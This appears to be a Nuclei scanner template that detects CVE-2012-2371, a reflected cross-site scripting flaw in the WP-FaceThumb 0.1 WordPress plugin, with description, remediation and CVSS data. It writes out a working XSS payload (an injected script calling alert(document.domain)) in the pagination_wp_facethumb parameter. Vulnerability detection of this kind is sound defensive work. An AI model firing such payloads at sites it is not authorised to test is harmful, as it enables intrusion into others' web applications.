id: CVE-2012-2371

info:
  name: WP-FaceThumb 0.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in index.php in the WP-FaceThumb plugin 0.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the pagination_wp_facethumb parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WP-FaceThumb plugin (0.2 or higher) which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-2371
    - http://www.openwall.com/lists/oss-security/2012/05/15/12
    - http://packetstormsecurity.org/files/112658/WordPress-WP-FaceThumb-Gallery-0.1-Cross-Site-Scripting.html
    - http://wordpress.org/support/topic/plugin-wp-facethumb-reflected-xss-vulnerability-cwe-79
    - http://www.openwall.com/lists/oss-security/2012/05/16/1
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-2371
    cwe-id: CWE-79
    epss-score: 0.12905
    epss-percentile: 0.95802
    cpe: cpe:2.3:a:mnt-tech:wp-facethumb:0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "mnt-tech"
    product: "wp-facethumb"
  tags: cve,cve2012,packetstorm,wordpress,xss,wp-plugin,mnt-tech,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-facethumb/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WP-FaceThumb ==='

  - method: GET
    path:
      - '{{BaseURL}}/?page_id=1&pagination_wp_facethumb=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206ed1ac0b66fb183403c3004ef95a7ed7447dfb9707b0da9365313849ce1792b1022100e1bcd3e5aa68f1f0c0fb485024c1164a783efc5ca5ab1d7db3ddac26f11847ca:922c64590222798bb761d5b6d8e72950